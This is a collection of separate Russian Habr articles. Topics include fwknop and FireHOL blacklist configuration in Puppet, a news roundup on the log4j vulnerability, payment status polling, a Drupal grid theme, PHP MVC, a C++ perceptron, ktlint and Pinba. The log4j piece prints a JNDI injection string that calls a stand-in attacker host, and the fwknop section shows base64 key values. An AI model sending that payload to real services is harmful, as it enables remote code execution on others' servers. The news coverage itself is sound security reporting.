KEY_BASE64 WB8/Hh9imafehfoJC/+XF5a2gOuK3zVvGnPVG6ELtLc=
HMAC_KEY_BASE64 AuWdYzJ5MSgrM3gbELS9YyhUYLUW5jqlIRson2MhKn0ZL/5AdSSTbJnrgb5Rqhe1cs4nYFJIeBJzKG5FAqBaMg==
```
*Внимание: в формате файла нет двоеточия, как в файле из первого пункта.*
### 5. Тестируем открытие доступ
```
fwknop -n my_new_host
```
### Примечание
* Обычно, папка `.ssh` в домашнем каталоге одно из самых защищённых мест. Поэтому используется для примера.
* Не следует делать глобальных настроек `cffirehol::knockers` для избежания утечки информации на все системы в каталогах Puppet.
* Для каждого узла у пользователя должны быть отдельные ключи из банальных соображений управления симметричными ключами.
* Сразу используется два ключа для подписи сообщения и для шифрования, хотя это может казаться несколько излишним.
* В зависимости от типа устройства и условий использования следует выбирать подходящий временной интервал для открытия доступа.
* Подразумевается использование совместно с модулем [cfauth](https://forge.puppet.com/codingfuture/cfauth) — поэтому по умолчанию используется список `cfauth_admin`, но допустимо использовать и иные.
* Сервер требует указание явного IP, не полагаясь на заголовок UDP пакета.
Чёрные списки
=============
Вряд ли требуется объяснять смысл термина, но не стоит забывать, что всегда есть возможность переиграть себя самого и обязательно следует иметь более приоритетный белый список.
Во-вторых, не стоит прописывать адреса в виде отдельных правил сетевого фильтра. Это неэффективно. Для решения данной проблемы в Linux существует поддержка [IP sets](http://ipset.netfilter.org/) в рамках проекта netfilter (он же iptables).
Глобальные списки нежелательных адресов
---------------------------------------
На просторах интернета существует множество платных и открытых постоянно обновляющихся списков адресов разного качества. Одним из замечательных объединяющих проектов является [All Cybercrime IP Feeds by FireHOL](http://iplists.firehol.org/).
Отметим, что будет легкомысленно накидывать все возможные списки. Некоторые могут быть крайне сомнительного качества или весьма субъективны: например, адреса интернет-троллей.
Собственные чёрные списки
-------------------------
Подобные списки составляются как вручную, так и автоматически по результатам работ систем обнаружения вторжения (IDS). Хорошо известный пример [fail2ban](http://www.fail2ban.org). В "ручном режиме" списки адресов могут браться из баз данных с заблокированными пользователями и т.п.
Поддержка списков IP-адресов в модуле [cfnetwork](https://forge.puppet.com/codingfuture/cfnetwork)
--------------------------------------------------------------------------------------------------
Был добавлен новый тип `cfnetwork::ipset` и концепция частичной конфигурации, когда на этапе развёртывания множество списков с единым префиксом объединяются в один. Пример:
* `vpn_access` — основное определение списка и его параметров. Это название используется для ссылки.
* `vpn_access:hardcoded`, `vpn_access:static` — или любое другое название может задаваться в конфигурации или других модулях.
* `vpn_access-net4` `vpn_access-net6` — такое будет реальное имя списка созданное для семейства IPv4 и IPv6 соответственно
Списки могут быть динамическими — конфигурация сетевого фильтра предполагает, что они будут меняться в режиме реального времени. Правила сетевого фильтра с динамическими списками добавляются на все возможные интерфейсы. Иначе, более интеллектуально — только на интерфейсы, где имеют смысл, исходя из содержания.
Во все конфигурации портов, где возможно указать IP-адрес или имя хоста, возможно сослаться и на именованный список с префиксом "ipset:".
Списки могут включать в себя другие списки, но это имеет смысл только для заранее заданных адресов. Пример:
```
cfnetwork::ipsets:
locations:
addr:
- '128.1.2.3'
- 'somehost.example.com'
- "2001:db8::/32"
puppet_access:
addr: 'ipset:locations'
vpn_access:
addr:
- 'ipset:locations'
- 'ipset:cfauth_admin'
'whitelist:static':
addr:
- 'trusted.example.com'
cfnetwork::service_ports:
'main:puppet':
src: 'ipset:puppet_access'
```
Примечание: список `cfauth_admin` автоматически добавляется в `whitelist`.
Поддержка актуальных чёрных списков в модуле [cffirehol](https://forge.puppet.com/codingfuture/cffirehol)
---------------------------------------------------------------------------------------------------------
Проект чёрных списков от FireHOL имеет собственный инструмент [update-ipsets](https://github.com/firehol/blocklist-ipsets/wiki/Installing-update-ipsets), который позволяет обновлять списки с проверкой возраста, манипулировать ими и обновлять их в ядре. Несмотря на это, работа с такими комплексными операциями под супер-пользователем показалась опасной. Поэтому вся подготовка списков проходит под непривилегированным пользователем, а сохранение и обновление в ядре уже делается собственными средствами.
Для оптимизации хранения и обработки, могут допускаться некоторые ложные срабатывания. Например, вместо разрозненных IP-адресов может происходить укрупнение в одну запись по префиксу с настраиваемым коэффициентом, а не имеющие смысла записи, покрытые более общими, попросту удаляются инструментом [iprange](https://github.com/firehol/iprange/wiki).
Параметры `cffirehol::dynblacklist::blacklists4` и `cffirehol::dynblacklist::blacklists6` — позволяют выбрать именованные списки. По умолчанию используется рекомендованный список `firehol-level1` с наименьшим количеством ложных срабатываний.
Параметр `cffirehol::dynblacklist::addon_ipsets` — позволяет добавить конфигурацию собственных списков для `update-ipsets`.
На крайний случай, существует параметры `cffirehol::dynblacklist::custom_*` для более гибкого получения собственных чёрных списков.
Минимально для включения актуальных чёрных списков достаточно:
```
cffirehol::dynblacklist::enable: true
```
Что имеем в итоге
=================
Во-первых, для целей удобного администрирования расширен функционал [cfnetwork](https://forge.puppetlabs.com/codingfuture/cfnetwork), что позволяет без лишних проблем совмещать работу с IPv4 и IPv6 адресами. А так же, поддерживаются наследуемые списки, концепция которых отсутствует в инструментах более низкого уровня. Это позволяет логически делить адреса на группы без излишнего дублирования.
Во-вторых, внедрён дополнительный легковесный уровень защиты сервисов. В первую очередь, он позволяет закрывать такие "тяжёлые" сервисы как SSH и VPN от нежелательных соединений. Такой подход находит своё применение и для доступа в среду разработки со стороны внештатных сотрудников с персональным ключом для каждого.
В-третьих, теперь поддерживаются динамические постоянно обновляемые чёрные списки как с глобальных централизованных ресурсов, так и с собственных источников. | https://habr.com/ru/post/320244/ | null | ru | null |
# Security Week 50: драма вокруг log4j
На прошлой неделе, 9 декабря, были обнародованы детали уязвимости в [Apache log4j](https://logging.apache.org/log4j/2.x/), библиотеке для сбора и обработки логов. Уязвимость [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) приводит к выполнению произвольного кода и эксплуатируется тривиально, о чем свидетельствует самый высокий рейтинг по шкале CVSS — 10 баллов. Это достаточно редкий в сфере информационной безопасности случай «идеального шторма»: уязвимость эксплуатируется легко, при этом подчас сложно определить все уязвимые приложения в инфраструктуре и накатить патч в условиях активных попыток взлома.
Дыру в log4j часто сравнивают с уязвимостью [Heartbleed](https://heartbleed.com/) 2014 года. Тогда в библиотеке OpenSSL была обнаружена ошибка, приводящая к утечке данных из памяти. Она позволяла удаленно и скрытно извлекать секреты, и также принесла администраторам систем массу проблем. Сложно было не столько обнаружить все уязвимые инсталляции, сколько определить, какие данные теоретически могли быть похищены. У Heartbleed и безымянной (не считая [креатива](https://twitter.com/GossiTheDog/status/1469252646745874435/photo/1) в MS Paint) уязвимости в log4j есть и еще один общий момент: это открытые проекты, разрабатываемые в условиях перманентной нехватки ресурсов.
Ссылки по теме:
* [Обсуждение](https://habr.com/ru/news/t/594751/) на Хабре.
* Запись [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) в базе данных MITRE.
* [Пост](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) в блоге компании Cloudflare с описанием уязвимости.
* От них же — [сводка](https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/) по попыткам эксплуатации.
* [Два](https://issues.apache.org/jira/browse/LOG4J2-3201) [тикета](https://issues.apache.org/jira/browse/LOG4J2-3198) в баг-трекере Apache.
* Обновляемый [пост](https://www.lunasec.io/docs/blog/log4j-zero-day/) в блоге компании Lunasec с примерами кода.
* Подробное [исследование](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf) 2016 года, в котором описываются общие методы эксплуатации уязвимостей, подобных обнаруженной в log4j.
Последняя ссылка в списке представляет особенный интерес: на конференции BlackHat 2016 года проблема 2021 года была, по сути, предсказана. Там описываются общие принципы работы интерфейса JNDI (Java Naming and Directory Interface), который позволяет программе на языке Java находить и подключать внешние объекты данных. В 2013 году в log4j версии 2.0 добавляется фича [JNDI Lookup Plugin](https://issues.apache.org/jira/browse/LOG4J2-313). Была реализована комбинация из интерфейса JNDI и протокола LDAP, позволяющая получать и выполнять данные откуда угодно. Команда на запрос объекта выглядит примерно так:
`${jndi:ldap://attacker.com/a}`
Проблема заключается в том, что log4j никак не ограничивал прием данных — они могли быть загружены откуда угодно. Более того, строка обрабатывалась при обнаружении в логах (а не только, например, в конфигурационных файлах, которые контролирует только администратор), то есть у потенциального атакующего появлялась возможность направить log4j на вредоносный объект и выполнить его на сервере жертвы. Уязвимость закрыта в версии 2.15.0, но еще какое-то время потребуется на включение обновленной библиотеки в использующее ее программное обеспечение. Временное решение до установки патча — отключить уязвимую функциональность:
`JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true"`
Уязвимого софта, использующего log4j, много. Есть как очевидные примеры (фреймворк Apache Struts), так и нетривиальные (ПО для реверс-инжиниринга Ghidra).
Первые публичные сообщения об эксплуатации уязвимости и вовсе пошли от владельцев игровых серверов [Minecraft](https://www.minecraft.net/en-us/article/important-message--security-vulnerability-java-edition) — там для взлома оказалось достаточно сбросить волшебное заклинание в чат. Отсюда и высочайшая оценка опасности данной проблемы: оказаться в логах можно разными путями, иногда простейшими. Ввести строку-запрос к вредоносному серверу вместо имени пользователя или даже подключиться к серверу, передав код в поле user-agent. В ближайшее время мы наверняка узнаем и о менее очевидных способах эксплуатации. Проблема настолько серьезная, что компания Cloudflare начала фильтровать характерные запросы в трафике для всех своих клиентов.
Уязвимость в log4j вновь поднимает вопрос нехватки ресурсов при разработке стратегически важного кода. В твите выше приведена цитата от одного из разработчиков log4j, который работает над проектом «в свободное время». Не получившие достаточного внимания «общественные» проекты потом используются в крупных коммерческих решениях, что в результате и приводит к драме прошлой недели. Когда обнаруживается ошибка, добровольцы-мейнтейнеры ничего, кроме проклятий, не получают, и с этим, кажется, надо что-то делать. А пока выходит классическая ситуация из [этого](https://xkcd.com/2347/) комикса XKCD:
**Что еще произошло:**
Своего рода антитеза к описанному выше пожару: 8 декабря идентификатор CVE [присвоили](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38759) стандартной фиче в Raspberry Pi OS. Многим известно, что из коробки эта система получает стандартного пользователя pi с паролем raspberry. И нет, эту «проблему» нельзя просто так взять и эксплуатировать, так как сервер ssh для удаленного доступа по умолчанию выключен. В обсуждениях уже назвали создание CVE для такой банальности дурацким хайпом, но есть нюанс. Raspberry Pi хоть и является любительским микрокомпьютером, однако вполне может оказаться в составе корпоративной инфраструктуры. Пароль в таком случае желательно поменять. Можно ли гарантировать, что его будут менять все и всегда? Вряд ли. CVE, таким образом, может служить не откровением о ранее неизвестной прорехе, а пунктом для проверки в списке аудитора безопасности.
Редкое сочетание багов в Android и приложении Microsoft Teams (и только если вы там не залогинены) [не позволяет](https://www.theregister.com/2021/12/09/android_911_teams/) позвонить с телефона в службы спасения.
Свежее исследование [описывает](https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation?utm_source=reddit) бэкдор, распространяемый в качестве довеска к редактору Notepad++.
Издание Vice [пишет](https://www.vice.com/en/article/y3vp35/google-tells-apps-disclose-location-data-removed-huq) про рекламный модуль, внедренный в ряд приложений под Android, который собирал данные о местоположении пользователя, даже если тот запрещал это делать. Скрытая слежка была обнаружена еще в октябре, а на прошлой неделе компания Google потребовала от разработчиков приложений явно декларировать постоянную геолокацию. | https://habr.com/ru/post/595287/ | null | ru | null |
# Платежные технологии – просто о сложном. Часть 2
В [Части 1](https://habr.com/ru/post/582656/) мы разобрали основы проведения платежа. Выяснили, что процесс очень прост и состоит из нескольких участников: Клиента, Витрины, Банка и Мерчанта, а так же двух базовых методов: check и pay.
Теперь поговорим о способе, который позволит Банку избежать расхождений при сверках с Мерчантом.
Сверками называют процесс квитовки реестра принятых платежей с витрин, где размещены услуги Мерчанта, с реестром фактически проведенных платежей Мерчантом.
Проще говоря, успешность этой сверки показывает Банку, нет ли услуг, где деньги были приняты у Клиента, но не зачислены Мерчантом.
Если все системы отработали синхронно, то успешные платежи автоматически выгрузятся в ближайший реестр переводов для дальнейшей квитовки.
Но что делать, если мы не получили ответ на запрос pay или ответ получили, но операция у Мерчанта в промежуточном статусе?
Для этого существует запрос финального статуса операции getStatus.
Тип взаимодействия – асинхронный.
Мы его инициируем в случае:
* Время ожидания ответа на pay превысило допустимый порог. В Банке ставим операцию в проведение и инициируем запрос getStatus;
* В ответ на запрос pay мы получили промежуточный статус операции - InProgress.
Первое событие наступает по любым техническим причинам.
А второе событие наступает, когда Мерчант не является Поставщиком оказываемых услуг, а заказывает их у третьих лиц и продает Банку за определенный процент. Мерчанту необходимо время, чтобы сходить на удаленные системы Поставщика и дать задание на зачисление. Поэтому он в ответе на pay статусом InProgress сообщает Банку: деньги приняты, но о статусе зачисления не знаю. Попробуй узнать позже.
Вот как это выглядит в схеме общего процесса проведения платежа
1. Банк анализирует операции, где не был получен ответ на запрос pay или где был получен ответ, но статус операции промежуточный: InProgress;
2. Далее опрашивает систему Мерчанта с некой периодичностью: обычно раз в 15 минут в течение суток. Далее операция переводится в ошибку на всем контуре инфообмена;
3. Витрина в свою очередь делает то же самое, но по отношению в Банку.
Клиент к этому времени уже ушел, у него есть чек с печатью Банка: платеж принят. Если будут какие-то сложности и денежные средства Мерчант не зачислит, с ним свяжутся сотрудники Банка или витрина обновит статус в личном кабинете клиента в автоматическом режиме, как раз по результатам обработки этих статусов и дальнейшей квитовки.
**Пример запроса getStatus/XML**
*Систем-инициатор: Банк*
*Система-получатель: Мерчант*
```
2021-02-08T00:16:25
123456789
```
В запросе мы указываем id транзакции, полученный в ответ на pay. Если мы его не получили, система Банка должна попытаться допровести платеж путем отправки pay раз в несколько минут, обычно, не более трех. Далее операцию ставят в InProgress, инициируют getStatus.
**Пример ответа getStatus/XML**
*Систем-инициатор: Мерчант*
*Система-получатель: Банк*
```
2021-02-08T:16:25
123456789
Success
Успех
0
```
В ответ на запрос getStatus, Мерчант так же может сообщить не финальный статус операции (успех или ошибка), а промежуточный InProgress. Для этих случаев действуют такие же правила, как и для случая неполучения ответа на pay: продолжаем опрос системы Мерчанта до получения финального статуса операции, обычно, не более 24 часов.
Структура запроса и ответа от Витрины к Банку тождественна, за исключением наименования полей и значений Id транзакции.
Система Банка анализирует значение поля status\_id. Успешные операции сразу выгружает в ближайший реестр переводов, для квитовки и дальнейшего возмещения денежных средств Мерчанту.
По ошибочным операциям возмещение не выполняется. Если в ответ на запрос getStatus был получен status\_id в значении error, выполняется автоматический возврат денежных средств на карту клиента.
Подробнее о возмещениях и сверках мы поговорим в следующих статьях. | https://habr.com/ru/post/588406/ | null | ru | null |
# Реализация 960gs в Drupal (NineSixty theme)
#### О NineSixty
NineSixty это тема для Drupal на основе 960gs, предназначенная для использования в качестве базовой темы.
#### Преимущества NS:
* контент-ориентированная разметка с использованием классов «push» и «pull»
* динамическая ширина блоков в зависимости от контента
* инструменты для отладки и визуализация сетки
* поддержка языков с направлением письма справа налево
#### Контент-ориентированная разметка
Это подход к дизайну в котором контент выводится максимально близко к верху разметки. Контент должен выводится раньше всех боковых блоков. Некоторые дизайнеры полагают, что он должен выводится даже раньше основной навигации сайта. Этого сложно достичь на сайтах с одной или несколькими левыми колонками.
#### Классы «push» и «pull»
В NS вывод контента вначале осуществляется путем «отталкивания» блока с контентом вправо и «притягивания » боковых блоков влево. Эти классы используют такой же формат как .grid-X, .prefix-X, и .suffix-X, где Х — ширина блока:
`.push-X and .pull-X`
Значения push и pull должны соответствовать ширине перетаскиваемых блоков:
до добавления push и pull:
после добавления push и pull:
#### Динамическая ширина колонок
В некоторых случаях может понадобиться, чтобы колонки изменяли ширину, когда соседняя область не заполнена. Например, разметка 3-6-3 может превратится в 3-9 когда правая колонка пуста. Динамическая ширина управляется функцией ns() определенной в template.php
#### Структура ns()
* X, Y и Z — значения ширины
* class может быть grid, prefix, suffix, push, или pull
* $region может быть любым регионом темы
* можно использовать любое количество пар
#### Применение ns()
из page.tpl.php:
из #main
из #sidebar-left:
#### NineSixty в действии
Посетив [ninesixty.fkdemos.com](http://ninesixty.fkdemos.com) можно увидеть как NineSixty…
* использует push и pull для создания «контент-ориентированной разметки»;
* динамически присваивает ширину ячеек в зависимости от содержания;
* используется для создания различных компоновок сайта
Собственно знакомство с NineSixty на этом законченно. На сайте Drupal можно прочесть о создании субтемы на основе NineSixty — [drupal.org/node/441088](http://drupal.org/node/441088).
Перевод [Drupal theming using the 960.gs grid system](http://www.slideshare.net/fourkitchens/drupal-theming-using-the-960gs-grid-system) (с 56 по 69 слайды) Ранее идет общее описанее фреймворков в веб дизайне и сеток в дизайне вообще, а после ссылки и примеры работы этой темы.
Поделитесь, кто, как пользует и применяет ли вообще эту тему в Drupal. | https://habr.com/ru/post/80987/ | null | ru | null |
# Разделение вида и контроллера
Что это?
========
Думаю многие из программистов понимают необходимость разделять контроллеры (или, как еще говорят, бизнес-логику) от вида (или логики отображения). Это упрощает поддержку, редизайн и реализацию скинов. Реализаций этого безобразия существует огромное количество и я хотел бы и свои пять копеек вставить :)
Вы можете найти огромное количество топиков на эту тему, но в основном они касаются «вида», точнее всяческих шаблонизаторов. Я не буду сейчас об этом, иначе это превратится в очередной холивар. Темя этой статьи — контроллер, а точнее моя его реализация, хотя отображения это тоже касается :).
Если где-то есть нечто похожее буду благодарен за указание источников.
Зачем это?
==========
Кроме разделения программной системы на модули программистов интересует еще и повторное использование кода, чтобы не писать одно и то же по двадцать раз и не использовать копипаст, что ведет к ошибкам.
Что мы имеем сейчас?
--------------------
Поскольку страницы очень часто имеют много общего, то часто мы имеем нечто вроди:
```
{?php include "header.php" ?}
some content
{?php include "footer.php" ?}
```
или
```
header
{?php include "{$module}.php" ?}
footer
```
Недостатки первого подхода очевидны, второй же подход не очень хорош с точки зрения контроллера
Как это?
========
Идея состоит в использовании объектно-ориентированого подхода (поскольку перегрузки функций в PHP нет)
```
{?php # main controller
class Main_Cntr {
function render() {
# some logic
include 'main.tpl';
}
function content() {
# some logic
include 'default_content.tpl';
}
function module() {
# some logic
include 'default_module.tpl';
}
};
```
Теперь в целосном шаблоне `main.tpl` будут прямые указания:
```
...header...
{?php $this->content() ?}
...some view...
{?php $this->module() ?}
...footer...
```
Преимущество подхода состоит в том, что мы можем выстраивать иерархию страниц, порождая потомков:
```
{?php # main controller
class Other_Cntr extends Main_Cntr {
function content() {
# some other logic
include 'other_content.tpl';
}
};
```
При этом наследуются все свойства базового вида и контроллера, нужно написать минимум кода, который непосредственно касается изменений, контроллер и вид отдельно.
Заключение
==========
Естественно детали реализации могут быть изменены, тут могут быть использованы любые шаблонизаторы.
1. Код шаблонов остается абсолютно читабельным и понятным — используется абстрактная разметка логических элементов страницы.
Код контроллеров так же понятен и прост, упрощается создание однотипных шаблонов и повторяющихся элементов на страницах.
Буду рад конструктивным замечаниям и комментариям.
**P.S.:** Со знаками больше-меньше какие-то глюки, пришлось постить фигурные скобки. | https://habr.com/ru/post/28317/ | null | ru | null |
# Однослойный перцептрон для начинающих
В последнее время всё чаще стали появляться статьи о машинном обучении и о нейронных сетях. «Нейронная сеть написала классическую музыку», «Нейронная сеть распознала стиль по интерьеру», нейронные сети научились очень многому, и на волне возрастющего интереса к этой теме я решил сам написать хотя бы небольшую нейронную сеть, не имея специальных знаний и навыков.
К своему большому удивлению, я не нашел простейших и прозрачных примеров а-ля «Hello world». Да, есть [coursera](https://www.coursera.org/learn/machine-learning) и потрясающий Andrew Ng, есть [статьи](http://geektimes.ru/post/40137/) про нейронные сети на хабре (советую остановиться тут и прочитать, если не знаете самых основ), но нет простейшего примера с кодом. Я решил создать перцептрон для распознования «AND» или «OR» на своем любимом языке C++. Если вам интересно, добро пожаловать под кат.
Итак, что же нам потребуется для создания такой сети:
1) Основные знания C++.
2) Библиотека линейной алгебры [Armadillo](http://arma.sourceforge.net/).
В ArchLinux она ставится просто:
```
yaourt -S armadillo
```
Создадим два файла: CMakeLists.txt и Main.cpp.
CMakeLists.txt отвечает за конфигурацию проекта и содержит следующий код:
```
project(Perc)
cmake_minimum_required(VERSION 3.2)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11")
set(CMAKE_BUILD_TYPE Debug)
set(EXECUTABLE_NAME "Perc")
file(GLOB SRC
"*.h"
"*.cpp"
)
#Subdirectories
option(USE_CLANG "build application with clang" ON)
find_package(Armadillo REQUIRED)
include_directories(${ARMADILLO_INCLUDE_DIRS})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY "${CMAKE_CURRENT_SOURCE_DIR}/bin")
add_executable(${EXECUTABLE_NAME} ${SRC} )
TARGET_LINK_LIBRARIES( ${EXECUTABLE_NAME} ${ARMADILLO_LIBRARIES} )
```
Main.cpp:
```
#include
#include
using namespace std;
using namespace arma;
int main(int argc, char\*\* argv)
{
mat A = randu(4,5);
mat B = randu(4,5);
cout << A\*B.t() << endl;
return 0;
}
```
Это тестовый пример для того, чтобы проверить, все ли правильно настроено.
```
cmake
make
./bin/NeuroBot
```
Если все работает, то продолжаем!
Как же нейронная сеть работает и понимает, что есть AND а что есть OR? Так она выглядит:
Строго говоря, это лишь нейрон, но в то же время это и основной концепт сети. Обо всем по порядку:
x1 и x2 и x...- наши входные данные. Возьмем логическое «AND»
Наши входные данные — A и B, то есть матрица 4 х 2, так как с матрицами удобнее работать.
w1 и w2 — «веса», это то, что нейронная сеть и будет обучать. Обычно весов на один больше чем входов, в нашем случае их 3 ( + биас).
Опять матрица: 3x1.
Y — выход, это наш результат, он будет полностью совпадать с Q. Матрица 4х1. Матрицы очень удобно использовать с [векторизацией](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_(%D0%BF%D0%B0%D1%80%D0%B0%D0%BB%D0%BB%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B2%D1%8B%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F)).
Ячейка нейрона — это нейрон, который будет учить w1 и w2. В нашем случае это будет [логистическая регрессия](https://ru.wikipedia.org/wiki/%D0%9B%D0%BE%D0%B3%D0%B8%D1%81%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D1%80%D0%B5%D0%B3%D1%80%D0%B5%D1%81%D1%81%D0%B8%D1%8F). Для обучения w1 и w2 мы будем использовать алгоритм [градиентного спуска](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BD%D1%8B%D0%B9_%D1%81%D0%BF%D1%83%D1%81%D0%BA).
Почему логистическая регрессия и градиентный спуск? Логистическая регрессия используется потому, что это логическая задача 0 / 1. Логистическа регрессия (сигмоида) строит гладкую монотонную нелинейную функцую, имеющую форму буквы «S»:
Широко известна также линейная регрессия, но она в основном используется для классификации больших объемов данных. Градиентный спуск — это самый распрастранненый способ обучения, он находит локальный экстремум с помощью движения вдоль градиента (просто спускается).
На этом теоретическая часть заканчивается, перейдем к практике!
Итак, алгоритм следующий:
1) Задаем на вход данные
```
const int n = 2; //Количество нейронов
const int epoches = 100; //Количество эпох, сколько раз мы "подгоняем" w1 и w2
double lr = 1.0; //Коэффициент обучения
mat samples({
0.0, 0.0, 1.0,
1.0, 0.0, 1.0,
0.0, 1.0, 1.0,
1.0, 1.0, 1.0
});
samples.set_size(4, 3);
//Ответы
mat targets{0.0, 0.0, 0.0, 1.0};
targets.set_size(4, 1);
mat w; w.set_size(3,1);
//Случайные весы от -1 до 1
w.transform([](double val)
{
double f = (double)rand() / RAND_MAX;
val= 1.0 + f * (-1.0 - 1.0);
return val;
});
```
2) Пока количество эпох не подошло к концу (альтернативный способ: сравнивать заготовленные ответы с полученными и остановиться при первом совпадении), умножаем веса на входные данные , применяем логистическую регрессию (сигмоида — sig),  подправляем веса с помощью градиентного спуска.
```
for(int i = 0; i < epoches; i++)
{
mat z = samples * w; //Summator
auto outputs = sig(z);
//Gradient Descend
w -= (lr*((outputs - targets) % sig_der(outputs)).t() * (samples) / samples.size ()).t();
std::cout << outputs << std::endl << std::endl;
}
```
3) В конце запускаем активационную функцию (Аксон), округляем матрицу и выводим результат.
```
//Activate function
mat a = samples * w;
mat result = round(sig(a));
std::cout << result;
```
Перцептрон готов. Измените Y на «OR» и убедитесь, что все правильно работает.
Если вам понравилась статья, то я обязательно распишу, как работает многослойный перцептрон на примере XOR, объясню регуляризацию, и мы дополним имеющийся код.
Ссылка на Main.cpp [gist.github.com/Warezovvv/0c1e25723be1e600d8f2](https://gist.github.com/Warezovvv/0c1e25723be1e600d8f2)
Ссылка на источник иллюстраций: [robocraft.ru/blog/algorithm/558.html](http://robocraft.ru/blog/algorithm/558.html) | https://habr.com/ru/post/265301/ | null | ru | null |
# Использование code style плагина ktlint в Kotlin-проекте. Краткая инструкция для backend-разработчика
Я работаю Java/Kotlin-разработчиком в компании EPAM.
В первой статье я рассказывала про свой проект — [Brain-Up](https://habr.com/ru/company/epam_systems/blog/530824/). В этой статье хочу поделиться опытом настройки плагина [ktlint](https://github.com/pinterest/ktlint) для Kotlin проекта.
Данный плагин помогает обеспечивать единый code style на проекте. Он построен на официальных рекомендациях по форматированию кода для Kotlin от JetBrains. С помощью данного инструмента можно не только проверить код, но и отформатировать его.
Пока настраивала ktlint, искала информацию, описание, и мне показалось, что теме настройки этого плагина уделено мало внимания в обзорах, а ответы на появляющиеся вопросы были не очевидны.
Потому решила поделиться свои опытом, надеюсь, кому-то будет полезна пошаговая инструкция подключения к проекту. Этот пример актуален для проекта на Kotlin 1.4, gradle 6.0.
#### #1. Добавление зависимости в build.gradle на плагин
```
dependencies {
ktlint "com.pinterest:ktlint:0.38.0"
}
```
#### #2. Добавление gradle таски `ktlintFormat`
С её помощью можно отформатировать весь проект сразу, т.е. большая часть рекомендаций будет применена автоматически, останется только добавить/удалить пустые строчки вручную при необходимости или что-то такое, что не удалось исправить этой таске.
```
task ktlintFormat(type: JavaExec, group: "formatting")
{
description = "Fix Kotlin code style deviations."
classpath = configurations.ktlint
main = "com.pinterest.ktlint.Main"
args "-F", "src/*/.kt"
}
```
#### #3. Конфигурирование gradle таски `ktlint` для вашего проекта
```
project.task("ktlint", type: JavaExec) {
group = "verification"
description = "Runs ktlint."
main = "com.pinterest.ktlint.Main"
classpath = project.configurations.ktlint
args = [
"--reporter=plain",
"--reporter=checkstyle,output=${project.buildDir}/reports/ktlint/ktlint-checkstyle-report.xml",
"src/*/.kt" ]
}
```
#### #4. Встраивание таски `ktlint` в процесс сборки приложения
```
compileKotlin.dependsOn ktlint
```
В данном случае проверка форматирования кода будет запускаться до компиляции. Чем быстрее мы узнаем о несоответствии, то есть упадет эта проверка, тем лучше. В этом случае можно всё быстро исправить.
Если возникает ошибка форматирования, то мы увидим примерно такое сообщение, из которого понятно, что и где не так.
Правим форматирование.
#### #5. Настройка параметров Idea для правильного форматирования
Это можно настроить здесь File -> Settings -> Code Style -> Kotlin.
#### #6. Форматирование текущего класса
**Первый способ.**
Мне удобно при работе с классом сразу по окончании нажать Ctrl+Alt+L, и класс автоматически отформатируется согласно установленным в Idea свойствам форматирования. Если выделить мышкой папочку в проекте и нажать на ней данную комбинацию, то отформатируются все классы в этой папочке согласно настройкам Idea, которые мы задали выше.
**Второй способ.**
Если не хочется настраивать Idea и пользоваться её возможностями форматирования ― можно перед сборкой запустить таску ktlintFormat — она отработает для всего проекта.
#### #7. Выключение правил
Если что-то не очень нравится и сильно хочется выключить правило, которое мешает, это можно сделать с помощью добавления специального файла `.editorconfig` и там выключать правила.
Например, мы в проекте отказались от правила необходимости импортов быть отсортированными в лексикографическом порядке. То есть правило может это и не плохое, оно, кстати, недавно в плагине появилось, только вот `Ctrl+Alt+L` импорты не группирует и таска их `ktlintFormat` тоже, а делать это каждый раз руками надоедает.
```
[*.{kt,kts}]
disabled_rules = import-ordering
```
### Резюме
Так выглядит в build.gradle добавление плагина в итоге у нас на проекте. Работаем с ним 2-й год, всё стабильно пока.
Если у вас есть свои идеи, опыт, как улучшить / решить задачу единого code style на Kotlin проекте, — пишите в комментариях, будет интересно узнать: какими вы пользуетесь плагинами, насколько они удобны, стабильны к обновлениям языка и быстро настраиваемы.
Полный пример, при желании, можно посмотреть в нашем открытом репозитории Open Source социального проекта [Brain-up](https://github.com/Brain-up/brn), к которому может присоединиться любой желающий, получить опыт работы в профессиональной команде и принести реальную пользу обществу.
В следующей статье постараюсь рассказать про подключение Sonar Cloud к Kotlin проекту, по которому тоже было немало вопросов, когда у себя его настраивали.
Всем удачи! | https://habr.com/ru/post/545040/ | null | ru | null |
# Использование Pinba в Badoo: то, чего вы еще не знаете
Привет, Хабр! Меня зовут Денис, я – PHP-разработчик в Badoo, и сейчас я расскажу, как мы сами используем [Pinba](http://pinba.org). Предполагается, что вы уже знаете, что это за инструмент, и у вас есть опыт его эксплуатации. Если нет, то для ознакомления [рекомендую статью](https://habrahabr.ru/company/badoo/blog/149695/) моего коллеги, Максима Матюхина.
Вообще на Хабре есть достаточно материалов об использовании Pinba в различных компаниях, включая [пост Олега Ефимова](https://habrahabr.ru/company/badoo/blog/319934/) в нашем блоге. Но все они касаются других компаний, а не Badoo, что немного нелогично: сами придумали инструмент, выложили в open source и не делимся опытом. Да, мы часто упоминаем Pinba в различных публикациях и в докладах на IT-конференциях, но обычно это выглядит как-то так: «А вот эти замечательные графики мы получили по данным из Pinba» или «Для измерения мы использовали Pinba», и всё.
